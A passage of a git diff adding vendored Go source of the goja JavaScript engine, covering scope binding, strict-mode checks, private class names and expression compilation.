idx++ + } else { + leave := c.enterDummyMode() + c.compileFunctionLiteral(decl.Function, false).emitGetter(false) + leave() + } + } +} + +func (c *compiler) createVarIdBinding(name unistring.String, offset int, inFunc bool) { + if c.scope.strict { + c.checkIdentifierLName(name, offset) + c.checkIdentifierName(name, offset) + } + if !inFunc || name != "arguments" { + c.scope.bindName(name) + } +} + +func (c *compiler) createBindings(target ast.Expression, createIdBinding func(name unistring.String, offset int)) { + switch target := target.(type) { + case *ast.Identifier: + createIdBinding(target.Name, int(target.Idx)-1) + case *ast.ObjectPattern: + for _, prop := range target.Properties { + switch prop := prop.(type) { + case *ast.PropertyShort: + createIdBinding(prop.Name.Name, int(prop.Name.Idx)-1) + case *ast.PropertyKeyed: + c.createBindings(prop.Value, createIdBinding) + default: + c.throwSyntaxError(int(target.Idx0()-1), "unsupported property type in ObjectPattern: %T", prop) + } + } + if target.Rest != nil { + c.createBindings(target.Rest, createIdBinding) + } + case *ast.ArrayPattern: + for _, elt := range target.Elements { + if elt != nil { + c.createBindings(elt, createIdBinding) + } + } + if target.Rest != nil { + c.createBindings(target.Rest, createIdBinding) + } + case *ast.AssignExpression: + c.createBindings(target.Left, createIdBinding) + default: + c.throwSyntaxError(int(target.Idx0()-1), "unsupported binding target: %T", target) + } +} + +func (c *compiler) createVarBinding(target ast.Expression, inFunc bool) { + c.createBindings(target, func(name unistring.String, offset int) { + c.createVarIdBinding(name, offset, inFunc) + }) +} + +func (c *compiler) createVarBindings(v *ast.VariableDeclaration, inFunc bool) { + for _, item := range v.List { + c.createVarBinding(item.Target, inFunc) + } +} + +func (c *compiler) createLexicalIdBinding(name unistring.String, isConst bool, offset int) *binding { + if name == "let" { + c.throwSyntaxError(offset, "let is disallowed as a lexically bound name") + } + if c.scope.strict { + c.checkIdentifierLName(name, offset) + c.checkIdentifierName(name, offset) + } + b, _ := c.scope.bindNameLexical(name, true, offset) + if isConst { + b.isConst, b.isStrict = true, true + } + return b +} + +func (c *compiler) createLexicalIdBindingFuncBody(name unistring.String, isConst bool, offset int, calleeBinding *binding) *binding { + if name == "let" { + c.throwSyntaxError(offset, "let is disallowed as a lexically bound name") + } + if c.scope.strict { + c.checkIdentifierLName(name, offset) + c.checkIdentifierName(name, offset) + } + paramScope := c.scope.outer + parentBinding := paramScope.boundNames[name] + if parentBinding != nil { + if parentBinding != calleeBinding && (name != "arguments" || !paramScope.argsNeeded) { + c.throwSyntaxError(offset, "Identifier '%s' has already been declared", name) + } + } + b, _ := c.scope.bindNameLexical(name, true, offset) + if isConst { + b.isConst, b.isStrict = true, true + } + return b +} + +func (c *compiler) createLexicalBinding(target ast.Expression, isConst bool) { + c.createBindings(target, func(name unistring.String, offset int) { + c.createLexicalIdBinding(name, isConst, offset) + }) +} + +func (c *compiler) createLexicalBindings(lex *ast.LexicalDeclaration) { + for _, d := range lex.List { + c.createLexicalBinding(d.Target, lex.Token == token.CONST) + } +} + +func (c *compiler) compileLexicalDeclarations(list []ast.Statement, scopeDeclared bool) bool { + for _, st := range list { + if lex, ok := st.(*ast.LexicalDeclaration); ok { + if !scopeDeclared { + c.newBlockScope() + scopeDeclared = true + } + c.createLexicalBindings(lex) + } else if cls, ok := st.(*ast.ClassDeclaration); ok { + if !scopeDeclared { + c.newBlockScope() + scopeDeclared = true + } + c.createLexicalIdBinding(cls.Class.Name.Name, false, int(cls.Class.Name.Idx)-1) + } + } + return scopeDeclared +} + +func (c *compiler) compileLexicalDeclarationsFuncBody(list []ast.Statement, calleeBinding *binding) { + for _, st := range list { + if lex, ok := st.(*ast.LexicalDeclaration); ok { + isConst := lex.Token == token.CONST + for _, d := range lex.List { + c.createBindings(d.Target, func(name unistring.String, offset int) { + c.createLexicalIdBindingFuncBody(name, isConst, offset, calleeBinding) + }) + } + } else if cls, ok := st.(*ast.ClassDeclaration); ok { + c.createLexicalIdBindingFuncBody(cls.Class.Name.Name, false, int(cls.Class.Name.Idx)-1, calleeBinding) + } + } +} + +func (c *compiler) compileFunction(v *ast.FunctionDeclaration) { + name := v.Function.Name.Name + b := c.scope.boundNames[name] + if b == nil || b.isVar { + e := &compiledIdentifierExpr{ + name: v.Function.Name.Name, + } + e.init(c, v.Function.Idx0()) + e.emitSetter(c.compileFunctionLiteral(v.Function, false), false) + } else { + c.compileFunctionLiteral(v.Function, false).emitGetter(true) + b.emitInitP() + } +} + +func (c *compiler) compileStandaloneFunctionDecl(v *ast.FunctionDeclaration) { + if v.Function.Async { + c.throwSyntaxError(int(v.Idx0())-1, "Async functions can only be declared at top level or inside a block.") + } + if v.Function.Generator { + c.throwSyntaxError(int(v.Idx0())-1, "Generators can only be declared at top level or inside a block.") + } + if c.scope.strict { + c.throwSyntaxError(int(v.Idx0())-1, "In strict mode code, functions can only be declared at top level or inside a block.") + } + c.throwSyntaxError(int(v.Idx0())-1, "In non-strict mode code, functions can only be declared at top level, inside a block, or as the body of an if statement.") +} + +func (c *compiler) emit(instructions ...instruction) { + c.p.code = append(c.p.code, instructions...) +} + +func (c *compiler) throwSyntaxError(offset int, format string, args ...interface{}) { + panic(&CompilerSyntaxError{ + CompilerError: CompilerError{ + File: c.p.src, + Offset: offset, + Message: fmt.Sprintf(format, args...), + }, + }) +} + +func (c *compiler) isStrict(list []ast.Statement) *ast.StringLiteral { + for _, st := range list { + if st, ok := st.(*ast.ExpressionStatement); ok { + if e, ok := st.Expression.(*ast.StringLiteral); ok { + if e.Literal == `"use strict"` || e.Literal == `'use strict'` { + return e + } + } else { + break + } + } else { + break + } + } + return nil +} + +func (c *compiler) isStrictStatement(s ast.Statement) *ast.StringLiteral { + if s, ok := s.(*ast.BlockStatement); ok { + return c.isStrict(s.List) + } + return nil +} + +func (c *compiler) checkIdentifierName(name unistring.String, offset int) { + switch name { + case "implements", "interface", "let", "package", "private", "protected", "public", "static", "yield": + c.throwSyntaxError(offset, "Unexpected strict mode reserved word") + } +} + +func (c *compiler) checkIdentifierLName(name unistring.String, offset int) { + switch name { + case "eval", "arguments": + c.throwSyntaxError(offset, "Assignment to eval or arguments is not allowed in strict mode") + } +} + +// Enter a 'dummy' compilation mode. Any code produced after this method is called will be discarded after +// leaveFunc is called with no additional side effects. This is useful for compiling code inside a +// constant falsy condition 'if' branch or a loop (i.e 'if (false) { ... } or while (false) { ... }). +// Such code should not be included in the final compilation result as it's never called, but it must +// still produce compilation errors if there are any. +// TODO: make sure variable lookups do not de-optimise parent scopes +func (c *compiler) enterDummyMode() (leaveFunc func()) { + savedBlock, savedProgram := c.block, c.p + if savedBlock != nil { + c.block = &block{ + typ: savedBlock.typ, + label: savedBlock.label, + outer: savedBlock.outer, + breaking: savedBlock.breaking, + } + } + c.p = &Program{ + src: c.p.src, + } + c.newScope() + return func() { + c.block, c.p = savedBlock, savedProgram + c.popScope() + } +} + +func (c *compiler) compileStatementDummy(statement ast.Statement) { + leave := c.enterDummyMode() + c.compileStatement(statement, false) + leave() +} + +func (c *compiler) assert(cond bool, offset int, msg string, args ...interface{}) { + if !cond { + c.throwSyntaxError(offset, "Compiler bug: "+msg, args...) + } +} + +func privateIdString(desc unistring.String) unistring.String { + return asciiString("#").Concat(stringValueFromRaw(desc)).string() +} + +type privateName struct { + idx int + isStatic bool + isMethod bool + hasGetter, hasSetter bool +} + +type resolvedPrivateName struct { + name unistring.String + idx uint32 + level uint8 + isStatic bool + isMethod bool +} + +func (r *resolvedPrivateName) string() unistring.String { + return privateIdString(r.name) +} + +type privateEnvRegistry struct { + fields, methods []unistring.String +} + +type classScope struct { + c *compiler + privateNames map[unistring.String]*privateName + + instanceEnv, staticEnv privateEnvRegistry + + outer *classScope +} + +func (r *privateEnvRegistry) createPrivateMethodId(name unistring.String) int { + r.methods = append(r.methods, name) + return len(r.methods) - 1 +} + +func (r *privateEnvRegistry) createPrivateFieldId(name unistring.String) int { + r.fields = append(r.fields, name) + return len(r.fields) - 1 +} + +func (s *classScope) declarePrivateId(name unistring.String, kind ast.PropertyKind, isStatic bool, offset int) { + pn := s.privateNames[name] + if pn != nil { + if pn.isStatic == isStatic { + switch kind { + case ast.PropertyKindGet: + if pn.hasSetter && !pn.hasGetter { + pn.hasGetter = true + return + } + case ast.PropertyKindSet: + if pn.hasGetter && !pn.hasSetter { + pn.hasSetter = true + return + } + } + } + s.c.throwSyntaxError(offset, "Identifier '#%s' has already been declared", name) + panic("unreachable") + } + var env *privateEnvRegistry + if isStatic { + env = &s.staticEnv + } else { + env = &s.instanceEnv + } + + pn = &privateName{ + isStatic: isStatic, + hasGetter: kind == ast.PropertyKindGet, + hasSetter: kind == ast.PropertyKindSet, + } + if kind != ast.PropertyKindValue { + pn.idx = env.createPrivateMethodId(name) + pn.isMethod = true + } else { + pn.idx = env.createPrivateFieldId(name) + } + + if s.privateNames == nil { + s.privateNames = make(map[unistring.String]*privateName) + } + s.privateNames[name] = pn +} + +func (s *classScope) getDeclaredPrivateId(name unistring.String) *privateName { + if n := s.privateNames[name]; n != nil { + return n + } + s.c.assert(false, 0, "getDeclaredPrivateId() for undeclared id") + panic("unreachable") +} + +func (c *compiler) resolvePrivateName(name unistring.String, offset int) (*resolvedPrivateName, *privateId) { + level := 0 + for s := c.classScope; s != nil; s = s.outer { + if len(s.privateNames) > 0 { + if pn := s.privateNames[name]; pn != nil { + return &resolvedPrivateName{ + name: name, + idx: uint32(pn.idx), + level: uint8(level), + isStatic: pn.isStatic, + isMethod: pn.isMethod, + }, nil + } + level++ + } + } + if c.ctxVM != nil { + for s := c.ctxVM.privEnv; s != nil; s = s.outer { + if id := s.names[name]; id != nil { + return nil, id + } + } + } + c.throwSyntaxError(offset, "Private field '#%s' must be declared in an enclosing class", name) + panic("unreachable") +} diff --git a/backend/vendor/github.com/dop251/goja/compiler_expr.go b/backend/vendor/github.com/dop251/goja/compiler_expr.go new file mode 100644 index 0000000..1cc2ec9 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/compiler_expr.go @@ -0,0 +1,3599 @@ +package goja + +import ( + "math/big" + + "github.com/dop251/goja/ast" + "github.com/dop251/goja/file" + "github.com/dop251/goja/token" + "github.com/dop251/goja/unistring" +) + +type compiledExpr interface { + emitGetter(putOnStack bool) + emitSetter(valueExpr compiledExpr, putOnStack bool) + emitRef() + emitUnary(prepare, body func(), postfix, putOnStack bool) + emitDelete(putOnStack bool) + constant() bool + addSrcMap() +} + +type compiledExprOrRef interface { + compiledExpr + emitGetterOrRef() +} + +type compiledCallExpr struct { + baseCompiledExpr + args []compiledExpr + callee compiledExpr + + isVariadic bool +} + +type compiledNewExpr struct { + compiledCallExpr +} + +type compiledObjectLiteral struct { + baseCompiledExpr + expr *ast.ObjectLiteral +} + +type compiledArrayLiteral struct { + baseCompiledExpr + expr *ast.ArrayLiteral +} + +type compiledRegexpLiteral struct { + baseCompiledExpr + expr *ast.RegExpLiteral +} + +type compiledLiteral struct { + baseCompiledExpr + val Value +} + +type compiledTemplateLiteral struct { + baseCompiledExpr + tag compiledExpr + elements []*ast.TemplateElement + expressions []compiledExpr +} + +type compiledAssignExpr struct { + baseCompiledExpr + left, right compiledExpr + operator token.Token +} + +type compiledObjectAssignmentPattern struct { + baseCompiledExpr + expr *ast.ObjectPattern +} + +type compiledArrayAssignmentPattern struct { + baseCompiledExpr + expr *ast.ArrayPattern +} + +type baseCompiledExpr struct { + c *compiler + offset int +} + +type compiledIdentifierExpr struct { + baseCompiledExpr + name unistring.String +} + +type compiledAwaitExpression struct { + baseCompiledExpr + arg compiledExpr +} + +type compiledYieldExpression struct { + baseCompiledExpr + arg compiledExpr + delegate bool +} + +type funcType uint8 + +const ( + funcNone funcType = iota + funcRegular + funcArrow + funcMethod + funcClsInit + funcCtor + funcDerivedCtor +) + +type compiledFunctionLiteral struct { + baseCompiledExpr + name *ast.Identifier + parameterList *ast.ParameterList + body []ast.Statement + source string + declarationList []*ast.VariableDeclaration + lhsName unistring.String + strict *ast.StringLiteral + homeObjOffset uint32 + typ funcType + isExpr bool + + isAsync, isGenerator bool +} + +type compiledBracketExpr struct { + baseCompiledExpr + left, member compiledExpr +} + +type compiledThisExpr struct { + baseCompiledExpr +} + +type compiledSuperExpr struct { + baseCompiledExpr +} + +type compiledNewTarget struct { + baseCompiledExpr +} + +type compiledSequenceExpr struct { + baseCompiledExpr + sequence []compiledExpr +} + +type compiledUnaryExpr struct { + baseCompiledExpr + operand compiledExpr + operator token.Token + postfix bool +} + +type compiledConditionalExpr struct { + baseCompiledExpr + test, consequent, alternate compiledExpr +} + +type compiledLogicalOr struct { + baseCompiledExpr + left, right compiledExpr +} + +type compiledCoalesce struct { + baseCompiledExpr + left, right compiledExpr +} + +type compiledLogicalAnd struct { + baseCompiledExpr + left, right compiledExpr +} + +type compiledBinaryExpr struct { + baseCompiledExpr + left, right compiledExpr + operator token.Token +} + +type compiledEnumGetExpr struct { + baseCompiledExpr +} + +type compiledSpreadCallArgument struct { + baseCompiledExpr + expr compiledExpr +} + +type compiledOptionalChain struct { + baseCompiledExpr + expr compiledExpr +} + +type compiledOptional struct { + baseCompiledExpr + expr compiledExpr +} + +func (c *compiler) compileExpression(v ast.Expression) compiledExpr { + // log.Printf("compileExpression: %T", v) + switch v := v.(type) { + case nil: + return nil + case *ast.AssignExpression: + return c.compileAssignExpression(v) + case *ast.NumberLiteral: + return c.compileNumberLiteral(v) + case *ast.StringLiteral: + return c.compileStringLiteral(v) + case *ast.TemplateLiteral: + return c.compileTemplateLiteral(v) + case *ast.BooleanLiteral: + return c.compileBooleanLiteral(v) + case *ast.NullLiteral: + r := &compiledLiteral{ + val: _null, + } + r.init(c, v.Idx0()) + return r + case *ast.Identifier: + return c.compileIdentifierExpression(v) + case *ast.CallExpression: + return c.compileCallExpression(v) + case *ast.ObjectLiteral: + return c.compileObjectLiteral(v) + case *ast.ArrayLiteral: + return c.compileArrayLiteral(v) + case *ast.RegExpLiteral: + return c.compileRegexpLiteral(v) + case *ast.BinaryExpression: + return c.compileBinaryExpression(v) + case *ast.UnaryExpression: + return c.compileUnaryExpression(v) + case *ast.ConditionalExpression: + return c.compileConditionalExpression(v) + case *ast.FunctionLiteral: + return c.compileFunctionLiteral(v, true) + case *ast.ArrowFunctionLiteral: + return c.compileArrowFunctionLiteral(v) + case *ast.ClassLiteral: + return c.compileClassLiteral(v, true) + case *ast.DotExpression: + return c.compileDotExpression(v) + case *ast.PrivateDotExpression: + return c.compilePrivateDotExpression(v) + case *ast.BracketExpression: + return c.compileBracketExpression(v) + case *ast.ThisExpression: + r := &compiledThisExpr{} + r.init(c, v.Idx0()) + return r + case *ast.SuperExpression: + c.throwSyntaxError(int(v.Idx0())-1, "'super' keyword unexpected here") + panic("unreachable") + case *ast.SequenceExpression: + return c.compileSequenceExpression(v) + case *ast.NewExpression: + return c.compileNewExpression(v) + case *ast.MetaProperty: + return c.compileMetaProperty(v) + case *ast.ObjectPattern: + return c.compileObjectAssignmentPattern(v) + case *ast.ArrayPattern: + return c.compileArrayAssignmentPattern(v) + case *ast.OptionalChain: + r := &compiledOptionalChain{ + expr: c.compileExpression(v.Expression), + } + r.init(c, v.Idx0()) + return r + case *ast.Optional: + r := &compiledOptional{ + expr: c.compileExpression(v.Expression), + } + r.init(c, v.Idx0()) + return r + case *ast.AwaitExpression: + r := &compiledAwaitExpression{ + arg: c.compileExpression(v.Argument), + } + r.init(c, v.Await) + return r + case *ast.YieldExpression: + r := &compiledYieldExpression{ + arg: c.compileExpression(v.Argument), + delegate: v.Delegate, + } + r.init(c, v.Yield) + return r + default: + c.assert(false, int(v.Idx0())-1, "Unknown expression type: %T", v) + panic("unreachable") + } +} + +func (e *baseCompiledExpr) constant() bool { + return false +} + +func (e *baseCompiledExpr) init(c *compiler, idx file.Idx) { + e.c = c + e.offset = int(idx) - 1 +} + +func (e *baseCompiledExpr) emitSetter(compiledExpr, bool) { + e.c.throwSyntaxError(e.offset, "Not a valid left-value expression") +} + +func (e *baseCompiledExpr) emitRef() { + e.c.assert(false, e.offset, "Cannot emit reference for this type of expression") +} + +func (e *baseCompiledExpr) emitDelete(putOnStack bool) { + if putOnStack { + e.addSrcMap() + e.c.emitLiteralValue(valueTrue) + } +} + +func (e *baseCompiledExpr) emitUnary(func(), func(), bool, bool) { + e.c.throwSyntaxError(e.offset, "Not a valid left-value expression") +} + +func (e *baseCompiledExpr) addSrcMap() { + if e.offset >= 0 { + e.c.p.addSrcMap(e.offset) + } +} + +func (e *compiledIdentifierExpr) emitGetter(putOnStack bool) { + e.addSrcMap() + if b, noDynamics := e.c.scope.lookupName(e.name); noDynamics { + e.c.assert(b != nil, e.offset, "No dynamics and not found") + if putOnStack { + b.emitGet() + } else { + b.emitGetP() + } + } else { + if b != nil { + b.emitGetVar(false) + } else { + e.c.emit(loadDynamic(e.name)) + } + if !putOnStack { + e.c.emit(pop) + } + } +} + +func (e *compiledIdentifierExpr) emitGetterOrRef() { + e.addSrcMap() + if b, noDynamics := e.c.scope.lookupName(e.name); noDynamics { + e.c.assert(b != nil, e.offset, "No dynamics and not found") + b.emitGet() + } else { + if b != nil { + b.emitGetVar(false) + } else { + e.c.emit(loadDynamicRef(e.name)) + } + } +} + +func (e *compiledIdentifierExpr) emitGetterAndCallee() { + e.addSrcMap() + if b, noDynamics := e.c.scope.lookupName(e.name); noDynamics { + e.c.assert(b != nil, e.offset, "No dynamics and not found") + e.c.emit(loadUndef) + b.emitGet() + } else { + if b != nil { + b.emitGetVar(true) + } else { + e.c.emit(loadDynamicCallee(e.name)) + } + } +} + +func (e *compiledIdentifierExpr) emitVarSetter1(putOnStack bool, emitRight func(isRef bool)) { + e.addSrcMap() + c := e.c + + if b, noDynamics := c.scope.lookupName(e.name); noDynamics { + if c.scope.strict { + c.checkIdentifierLName(e.name, e.offset) + } + emitRight(false) + if b != nil { + if putOnStack { + b.emitSet() + } else { + b.emitSetP() + } + } else { + if c.scope.strict { + c.emit(setGlobalStrict(e.name)) + } else { + c.emit(setGlobal(e.name)) + } + if !putOnStack { + c.emit(pop) + } + } + } else { + c.emitVarRef(e.name, e.offset, b) + emitRight(true) + if putOnStack { + c.emit(putValue) + } else { + c.emit(putValueP) + } + } +} + +func (e *compiledIdentifierExpr) emitVarSetter(valueExpr compiledExpr, putOnStack bool) { + e.emitVarSetter1(putOnStack, func(bool) { + e.c.emitNamedOrConst(valueExpr, e.name) + }) +} + +func (c *compiler) emitVarRef(name unistring.String, offset int, b *binding) { + if c.scope.strict { + c.checkIdentifierLName(name, offset) + } + + if b != nil { + b.emitResolveVar(c.scope.strict) + } else { + if c.scope.strict { + c.emit(resolveVar1Strict(name)) + } else { + c.emit(resolveVar1(name)) + } + } +} + +func (e *compiledIdentifierExpr) emitRef() { + b, _ := e.c.scope.lookupName(e.name) + e.c.emitVarRef(e.name, e.offset, b) +} + +func (e *compiledIdentifierExpr) emitSetter(valueExpr compiledExpr, putOnStack bool) { + e.emitVarSetter(valueExpr, putOnStack) +} + +func (e *compiledIdentifierExpr) emitUnary(prepare, body func(), postfix, putOnStack bool) { + if putOnStack { + e.emitVarSetter1(true, func(isRef bool) { + e.c.emit(loadUndef) + if isRef { + e.c.emit(getValue) + } else { + e.emitGetter(true) + } + if prepare != nil { + prepare() + } + if !postfix { + body() + } + e.c.emit(rdupN(1)) + if postfix { + body() + } + }) + e.c.emit(pop) + } else { + e.emitVarSetter1(false, func(isRef bool) { + if isRef { + e.c.emit(getValue) + } else { + e.emitGetter(true) + } + body() + }) + } +} + +func (e *compiledIdentifierExpr) emitDelete(putOnStack bool) { + if e.c.scope.strict { + e.c.throwSyntaxError(e.offset, "Delete of an unqualified identifier in strict mode") + panic("Unreachable") + } + if b, noDynamics := e.c.scope.lookupName(e.name); noDynamics { + if b == nil { + e.addSrcMap() + e.c.emit(deleteGlobal(e.name)) + if !putOnStack { + e.c.emit(pop) + } + return + } + } else { + if b == nil { + e.addSrcMap() + e.c.emit(deleteVar(e.name)) + if !putOnStack { + e.c.emit(pop) + } + return + } + } + if putOnStack { + e.addSrcMap() + e.c.emitLiteralValue(valueFalse) + } +} + +type compiledSuperDotExpr struct { + baseCompiledExpr + name unistring.String +} + +func (e *compiledSuperDotExpr) emitGetter(putOnStack bool) { + e.c.emitLoadThis() + e.c.emit(loadSuper) + e.addSrcMap() + e.c.emit(getPropRecv(e.name)) + if !putOnStack { + e.c.emit(pop) + } +} + +func (e *compiledSuperDotExpr) emitSetter(valueExpr compiledExpr, putOnStack bool) { + e.c.emitLoadThis() + e.c.emit(loadSuper) + valueExpr.emitGetter(true) + e.addSrcMap() + if putOnStack { + if e.c.scope.strict { + e.c.emit(setPropRecvStrict(e.name)) + } else { + e.c.emit(setPropRecv(e.name)) + } + } else { + if e.c.scope.strict { + e.c.emit(setPropRecvStrictP(e.name)) + } else { + e.c.emit(setPropRecvP(e.name)) + } + } +} + +func (e *compiledSuperDotExpr) emitUnary(prepare, body func(), postfix, putOnStack bool) { + if !putOnStack { + e.c.emitLoadThis() + e.c.emit(loadSuper, dupLast(2), getPropRecv(e.name)) + body() + e.addSrcMap() + if e.c.scope.strict { + e.c.emit(setPropRecvStrictP(e.name)) + } else { + e.c.emit(setPropRecvP(e.name)) + } + } else { + if !postfix { + e.c.emitLoadThis() + e.c.emit(loadSuper, dupLast(2), getPropRecv(e.name)) + if prepare != nil { + prepare() + } + body() + e.addSrcMap() + if e.c.scope.strict { + e.c.emit(setPropRecvStrict(e.name)) + } else { + e.c.emit(setPropRecv(e.name)) + } + } else { + e.c.emit(loadUndef) + e.c.emitLoadThis() + e.c.emit(loadSuper, dupLast(2), getPropRecv(e.name)) + if prepare != nil { + prepare() + } + e.c.emit(rdupN(3)) + body() + e.addSrcMap() + if e.c.scope.strict { + e.c.emit(setPropRecvStrictP(e.name)) + } else { + e.c.emit(setPropRecvP(e.name)) + } + } + } +} + +func (e *compiledSuperDotExpr) emitRef() { + e.c.emitLoadThis() + e.c.emit(loadSuper) + if e.c.scope.strict { + e.c.emit(getPropRefRecvStrict(e.name)) + } else { + e.c.emit(getPropRefRecv(e.name)) + } +} + +func (c *compiler) emitSuperReferenceError() { + c.emit(throwConst{referenceError("Unsupported reference to 'super'")}) +} + +func (e *compiledSuperDotExpr) emitDelete(_ bool) { + e.addSrcMap() + e.c.emitSuperReferenceError() +} + +type compiledDotExpr struct { + baseCompiledExpr + left compiledExpr + name unistring.String +} + +type compiledPrivateDotExpr struct { + baseCompiledExpr + left compiledExpr + name unistring.String +} + +func (c *compiler) checkSuperBase(idx file.Idx) { + if s := c.scope.nearestThis(); s != nil { + switch s.funcType { + case funcMethod, funcClsInit, funcCtor, funcDerivedCtor: + return + } + } + c.throwSyntaxError(int(idx)-1, "'super' keyword unexpected here") + panic("unreachable") +} + +func (c *compiler) compileDotExpression(v *ast.DotExpression) compiledExpr { + if sup, ok := v.Left.(*ast.SuperExpression); ok { + c.checkSuperBase(sup.Idx) + r := &compiledSuperDotExpr{ + name: v.Identifier.Name, + } + r.init(c, v.Identifier.Idx) + return r + } + + r := &compiledDotExpr{ + left: c.compileExpression(v.Left), + name: v.Identifier.Name, + } + r.init(c, v.Identifier.Idx) + return r +} + +func (c *compiler) compilePrivateDotExpression(v *ast.PrivateDotExpression) compiledExpr { + r := &compiledPrivateDotExpr{ + left: c.compileExpression(v.Left), + name: v.Identifier.Name, + } + r.init(c, v.Identifier.Idx) + return r +} + +func (e *compiledPrivateDotExpr) _emitGetter(rn *resolvedPrivateName, id *privateId) { + if rn != nil { + e.c.emit((*getPrivatePropRes)(rn)) + } else { + e.c.emit((*getPrivatePropId)(id)) + } +} + +func (e *compiledPrivateDotExpr) _emitSetter(rn *resolvedPrivateName, id *privateId) { + if rn != nil { + e.c.emit((*setPrivatePropRes)(rn)) + } else { + e.c.emit((*setPrivatePropId)(id)) + } +} + +func (e *compiledPrivateDotExpr) _emitSetterP(rn *resolvedPrivateName, id *privateId) { + if rn != nil { + e.c.emit((*setPrivatePropResP)(rn)) + } else { + e.c.emit((*setPrivatePropIdP)(id)) + } +} + +func (e *compiledPrivateDotExpr) emitGetter(putOnStack bool) { + e.left.emitGetter(true) + e.addSrcMap() + rn, id := e.c.resolvePrivateName(e.name, e.offset) + e._emitGetter(rn, id) + if !putOnStack { + e.c.emit(pop) + } +} + +func (e *compiledPrivateDotExpr) emitSetter(v compiledExpr, putOnStack bool) { + rn, id := e.c.resolvePrivateName(e.name, e.offset) + e.left.emitGetter(true) + v.emitGetter(true) + e.addSrcMap() + if putOnStack { + e._emitSetter(rn, id) + } else { + e._emitSetterP(rn, id) + } +} + +func (e *compiledPrivateDotExpr) emitUnary(prepare, body func(), postfix, putOnStack bool) { + rn, id := e.c.resolvePrivateName(e.name, e.offset) + if !putOnStack { + e.left.emitGetter(true) + e.c.emit(dup) + e._emitGetter(rn, id) + body() + e.addSrcMap() + e._emitSetterP(rn, id) + } else { + if !postfix { + e.left.emitGetter(true) + e.c.emit(dup) + e._emitGetter(rn, id) + if prepare != nil { + prepare() + } + body() + e.addSrcMap() + e._emitSetter(rn, id) + } else { + e.c.emit(loadUndef) + e.left.emitGetter(true) + e.c.emit(dup) + e._emitGetter(rn, id) + if prepare != nil { + prepare() + } + e.c.emit(rdupN(2)) + body() + e.addSrcMap() + e._emitSetterP(rn, id) + } + } +} + +func (e *compiledPrivateDotExpr) emitDelete(_ bool) { + e.c.throwSyntaxError(e.offset, "Private fields can not be deleted") +} + +func (e *compiledPrivateDotExpr) emitRef() { + e.left.emitGetter(true) + rn, id := e.c.resolvePrivateName(e.name, e.offset) + if rn != nil { + e.c.emit((*getPrivateRefRes)(rn)) + } else { + e.c.emit((*getPrivateRefId)(id)) + } +} + +type compiledSuperBracketExpr struct { + baseCompiledExpr + member compiledExpr +} + +func (e *compiledSuperBracketExpr) emitGetter(putOnStack bool) { + e.c.emitLoadThis() + e.member.emitGetter(true) + e.c.emit(loadSuper) + e.addSrcMap() + e.c.emit(getElemRecv) + if !putOnStack { + e.c.emit(pop) + } +} + +func (e *compiledSuperBracketExpr) emitSetter(valueExpr compiledExpr, putOnStack bool) { + e.c.emitLoadThis() + e.member.emitGetter(true) + e.c.emit(loadSuper) + valueExpr.emitGetter(true) + e.addSrcMap() + if putOnStack { + if e.c.scope.strict { + e.c.emit(setElemRecvStrict) + } else { + e.c.emit(setElemRecv) + } + } else { + if e.c.scope.strict { + e.c.emit(setElemRecvStrictP) + } else { + e.c.emit(setElemRecvP) + } + } +} + +func (e *compiledSuperBracketExpr) emitUnary(prepare, body func(), postfix, putOnStack bool) { + if !putOnStack { + e.c.emitLoadThis() + e.member.emitGetter(true) + e.c.emit(loadSuper, dupLast(3), getElemRecv) + body() + e.addSrcMap() + if e.c.scope.strict { + e.c.emit(setElemRecvStrictP) + } else { + e.c.emit(setElemRecvP) + } + } else { + if !postfix { + e.c.emitLoadThis() + e.member.emitGetter(true) + e.c.emit(loadSuper, dupLast(3), getElemRecv) + if prepare != nil { + prepare() + } + body() + e.addSrcMap() + if e.c.scope.strict { + e.c.emit(setElemRecvStrict) + } else { + e.c.emit(setElemRecv) + } + } else { + e.c.emit(loadUndef) + e.c.emitLoadThis() + e.member.emitGetter(true) + e.c.emit(loadSuper, dupLast(3), getElemRecv) + if prepare != nil { + prepare() + } + e.c.emit(rdupN(4)) + body() + e.addSrcMap() + if e.c.scope.strict { + e.c.emit(setElemRecvStrictP) + } else { + e.c.emit(setElemRecvP) + } + } + } +} + +func (e *compiledSuperBracketExpr) emitRef() { + e.c.emitLoadThis() + e.member.emitGetter(true) + e.c.emit(loadSuper) + if e.c.scope.strict { + e.c.emit(getElemRefRecvStrict) + } else { + e.c.emit(getElemRefRecv) + } +} + +func (e *compiledSuperBracketExpr) emitDelete(_ bool) { + e.addSrcMap() + e.c.emitSuperReferenceError() +} + +func (c *compiler) checkConstantString(expr compiledExpr) (unistring.String, bool) { + if expr.constant() { + if val, ex := c.evalConst(expr); ex == nil { + if s, ok := val.(String); ok { + return s.string(), true + } + } + } + return "", false +} + +func (c *compiler) compileBracketExpression(v *ast.BracketExpression) compiledExpr { + if sup, ok := v.Left.(*ast.SuperExpression); ok { + c.checkSuperBase(sup.Idx) + member := c.compileExpression(v.Member) + if name, ok := c.checkConstantString(member); ok { + r := &compiledSuperDotExpr{ + name: name, + } + r.init(c, v.LeftBracket) + return r + } + + r := &compiledSuperBracketExpr{ + member: member, + } + r.init(c, v.LeftBracket) + return r + } + + left := c.compileExpression(v.Left) + member := c.compileExpression(v.Member) + if name, ok := c.checkConstantString(member); ok { + r := &compiledDotExpr{ + left: left, + name: name, + } + r.init(c, v.LeftBracket) + return r + } + + r := &compiledBracketExpr{ + left: left, + member: member, + } + r.init(c, v.LeftBracket) + return r +} + +func (e *compiledDotExpr) emitGetter(putOnStack bool) { + e.left.emitGetter(true) + e.addSrcMap() + e.c.emit(getProp(e.name)) + if !putOnStack { + e.c.emit(pop) + } +} + +func (e *compiledDotExpr) emitRef() { + e.left.emitGetter(true) + if e.c.scope.strict { + e.c.emit(getPropRefStrict(e.name)) + } else { + e.c.emit(getPropRef(e.name)) + } +} + +func (e *compiledDotExpr) emitSetter(valueExpr compiledExpr, putOnStack bool) { + e.left.emitGetter(true) + valueExpr.emitGetter(true) + e.addSrcMap() + if e.c.scope.strict { + if putOnStack { + e.c.emit(setPropStrict(e.name)) + } else { + e.c.emit(setPropStrictP(e.name)) + } + } else { + if putOnStack { + e.c.emit(setProp(e.name)) + } else { + e.c.emit(setPropP(e.name)) + } + } +} + +func (e *compiledDotExpr) emitUnary(prepare, body func(), postfix, putOnStack bool) { + if !putOnStack { + e.left.emitGetter(true) + e.c.emit(dup) + e.c.emit(getProp(e.name)) + body() + e.addSrcMap() + if e.c.scope.strict { + e.c.emit(setPropStrictP(e.name)) + } else { + 